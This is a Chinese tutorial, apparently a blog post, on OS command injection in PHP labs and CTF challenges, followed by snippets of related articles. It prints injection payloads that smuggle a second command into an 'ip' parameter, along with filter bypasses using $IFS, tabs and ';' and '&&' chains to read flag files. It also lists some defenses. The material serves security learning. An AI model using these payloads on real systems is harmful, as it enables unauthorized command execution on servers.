    http://192.168.239.134/commandexec/example2.php?ip=127.0.0.1%0awhoami
    

    在这里插入图片描述

    Example 3

    在这里插入图片描述

    preg_match 去掉了/m多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
    /commandexec/example3.php?ip=127.0.0.1
    虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果,BP抓包即可。
    在这里插入图片描述

    其他案例

    过滤空格

    打开CTF题目,长这个样子
    在这里插入图片描述

    要读取flag的话,命令中间是有空格的,绕过思路如下:
    常见方法有<<>%20(space)%09(tab)\$IFS\$9\${IFS}$IFS等(百度以下挺多的)
    经测试这里可以使用<
    命令:127.0.0.1|cat<flag_126491043027723.php

    输入进来之后,页面没反应,不用慌,查看页面源代码
    在这里插入图片描述

    在这里插入图片描述

    过滤目录分隔符

    打开CTF题目,发现,flag位于某个文件夹里面,那么如果绕过斜线读取文件呢
    在这里插入图片描述

    思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法
    windows中:%0a&|
    linux中:%0a%0d;&|&&||

    其中:
    分号;的作用就是在 shell 中,担任“连续指令”功能
    &&的方式:command1 && command2,如果command1执行成功,则执行command2

    1. 拿到flag的文件名

    在这里插入图片描述

    1. 读取flag

    命令:;cd flag_is_here&&cat flag_11543166316699.php
    在浏览器中f12打开,源码中出现flag
    在这里插入图片描述

    过滤运算符

    通过代码可以看到过滤了|&,换成;依然可以绕过
    在这里插入图片描述

    使用命令:;cat flag_63893268518878.php
    然后查看页面源代码:

    在这里插入图片描述

    防御措施

    1. 尽量使用自定义函数或函数库实现外部应用程序命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
    2. 参数的值尽量使用引号包括,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities 、mysql_real_escape_string)
    3. 在进入执行命令函数前进行严格的检测和过滤以及对敏感字符进行转义

    如:cattailfindechotar等等

    如:|||&;<>$

    $`等

    参考

    MiscSecNotes
    命令执行漏洞和代码执行漏洞详解 一文了解命令执行漏洞和代码执行漏洞
    [红日安全]Web安全Day13 - 命令执行实战攻防
    白帽子挖洞—命令执行(Commnd Execution)篇
    命令执行漏洞概述
    Web for Pentester 靶场学习记录
    php中代码执行&&命令执行函数
    PHP中常见的命令执行函数与代码执行函数

    展开全文
  • 如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。漏洞成因:脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法...
  • 如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。形成原因脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除...
  • 命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅仅存在于B/S架构中,在C/S架构中也常常遇到。 简单的说,用户通过浏览器提交执行命令,由于服务器端没有...
  • 命令执行&命令注入代码执行代码执行是靠脚本代码调用操作系统的命令evaleval( string $code) : mixed把字符串 code 作为PHP代码执行。eval($_POST['c']);直接蚁剑链接密码为c 中国菜刀 cknifeassertassert( ...
  • 命令执行漏洞学习

    2021-09-12 22:31:54
    命令执行漏洞简介 命令执行漏洞成因 命令执行漏洞危害 PHP中可以调用外部程序常见函数 1)system() 2) passthru() 3) exec() 4)shell_exec() 5)执行运算符(反引号 `) 6)popen() 7) proc_open() 命令...
  • 命令执行与代码执行漏洞

    千次阅读 2021-03-10 17:57:59
    命令执行漏洞概述 程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用特别是企业级的一些...
  • 命令执行漏洞及防御

    2021-02-28 19:28:28
    命令执行漏洞及防御 一、命令执行定义 1.命令执行与代码执行 命令执行:调用一些函数执行系统命令,将系统命令拼接到用户的输入中。最终导致命令执行, 导致了命令执行。形成命令执行漏洞。 代码执行:如我们上传的一-...
  • low等级为:medium等级为:high代码执行漏洞定义:服务器端没有对用户提交的命令进行严格的过滤,而当用户可以控制命令执行函数里的参数时,便可以将恶意系统命令当成正常系统命令执行,从而形成系统攻击。...
  • 远程命令执行和远程代码执行

    千次阅读 2021-05-22 14:23:06
    一、远程命令执行和远程代码是怎样形成的? RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,...
  • RCE远程命令执行学习

    2021-01-23 13:30:28
    RCE(remote command/code execute ,远程命令执行) 命令执行一般发生在远程,故被称为远程命令执行。 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 应用系统从设计上...
  • Hadoop Yarn RPC远程命令执行

    千次阅读 2021-11-25 16:52:22
    远程命令执行 利用条件 可未授权访问 漏洞概述 2021年11月15日,有安全研究人员披露Hadoop Yarn RPC存在未授权访问漏洞,此漏洞存在于Hadoop的核心组件Hadoop Yarn中,因Hadoop Yarn默认对外开放RPC服务,导致...
  • 通过python执行shell命令的方法有4种,在这里介绍一种常用的。os.system、 os.popen、 commands、 subprocess接下来介绍subprocess的使用通过python 日志分析,获取到攻击源IP地址,收集写入到mysql数据库中mysql...
  • 命令执行漏洞总结

    2021-07-25 15:10:12
    命令执行漏洞 原理 应用程序某些功能调用可以执行系统命令的函数 如果参数被用户控制 就有可能通过恶意连接符将命令拼接到正常函数中从而随意执行系统命令 php常见命令执行函数和运算符 system函数 用于执行外部...
  • 远程命令/代码执行漏洞(RCE)总结

    千次阅读 2021-07-04 15:12:12
    PHP命令执行函数 1. system() : 原型:string system ( string $command [, int &$return_var ] ) 与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出) 2. shell_...
  • 本发明属于信息技术领域,具体涉及一种无回显的远程命令执行漏洞的验证方法。背景技术:远程命令执行漏洞是一种常见的高危害级别的漏洞。通过这个漏洞,能够让攻击者在远程服务器上执行指定的命令。如whoami,cat/etc...
  • throw exception and SQL query fails } 这是一种将三个特性连接在一起创建攻击payload的有趣方法,你也可以在非常有限的环境中证明是否发生了命令执行。在这非常感谢Ian Bouchard指出了盲RCE的可能性。 希望在实际...
  • DVWA | 命令执行

    2021-04-17 11:14:13
    当能够控制这些函数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。 命令执行利用方法 常可以使用命令连接字符串”&”或者“&&”、“|”符号后跟系统命令的方式进行攻击。 Commend...
  • 2019年04月17日,国家信息安全漏洞共享平台(CNVD)官方发布安全公告,称Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞,攻击者可利用该漏洞,可在未授权的情况下远程执行命令。随后知道创宇404实验室...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 126,544
精华内容 50,617
关键字:

命令执行攻击